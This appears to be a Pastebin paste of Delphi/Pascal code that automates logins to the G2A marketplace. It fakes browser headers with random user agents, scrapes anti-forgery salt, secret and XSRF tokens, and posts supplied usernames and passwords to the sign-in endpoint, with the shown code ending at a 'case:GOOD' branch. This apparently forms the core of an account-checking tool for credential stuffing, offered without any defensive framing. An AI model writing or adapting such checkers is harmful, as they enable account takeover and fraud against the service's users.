Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HTTP.UserAgent := RandomUserAgent;
- HTTP.KeepAlive := True;
- HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
- HTTP.Headers.Add('Upgrade-Insecure-Requests: 1');
- HTTP.Headers.Add('Referer: https://www.g2a.com/');
- HTTP.Headers.Add('Accept-Encoding: gzip, deflate, sdch');
- HTTP.Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4');
- if HTTP.HTTPMethod('GET', 'https://id.g2a.com/auth/auth/?client_id=g2a&redirect_uri=https%3A%2F%2Fwww.g2a.com%2Foauth2%2Ftoken&response_type=code') then
- HTML.LoadFromStream(HTTP.Document);
- html.Text:=utf8toansi(html.Text);
- Token:=Pars('placeholder="Confirm Password" name="salt" id="',HTML.Text,'"');
- Token2:=Pars('name="salt" id="'+Token+'" value="',HTML.text,'"');
- Token3:=Pars('Set-Cookie: XSRF-TOKEN=',HTTP.Headers.Text,';');
- // Token3:=Pars('Set-Cookie: g2a_id_session=',HTTP.Headers.Text,';');
- Token4:=Pars('name="secret" id="',html.Text,'"');
- Token5:=Pars('placeholder="Confirm Password" name="secret" id="'+Token4+'" value="',html.Text,'"');
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- HTTP.Protocol:='1.1' ;
- HTTP.Headers.Add('text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
- // HTTP.MimeType:='application/x-www-form-urlencoded';
- // Data.WriteString('client_id=g2a&redirect_uri=https://www.g2a.com/oauth2/token&response_type=code&auth_call=1&auth_json=1');
- HTTP.Document.LoadFromStream(Data);
- HTTP.Headers.Add('Referer:https://www.g2a.com/customer/account/logoutSuccess/');
- if HTTP.HTTPMethod('GET', 'https://www.g2a.com/') then
- HTTP.Headers.Clear;
- HTTP.Document.Clear;
- with HTTP do
- begin
- HTTP.KeepAlive := True;
- HTTP.MimeType:='application/x-www-form-urlencoded';
- Data.WriteString('username='+LG+'&password='+PW+'&security=&remember_me=false&secret=&salt='+Token2+'&protection=ecbad90d5ccf11fc3bd4503952aaf12a');
- HTTP.Document.LoadFromStream(Data);
- Headers.Add('Accept: application/json, text/javascript, */*; q=0.01');
- Headers.Add('Origin: https://id.g2a.com');
- Headers.Add('X-XSRF-TOKEN: '+Token3);
- Headers.Add('X-Requested-With: XMLHttpRequest');
- Headers.Add('Accept-Encoding: gzip, deflate');
- Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4');
- end;
- if HTTP.HTTPMethod('POST', 'https://id.g2a.com/signin') then
- begin
- case:GOOD
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement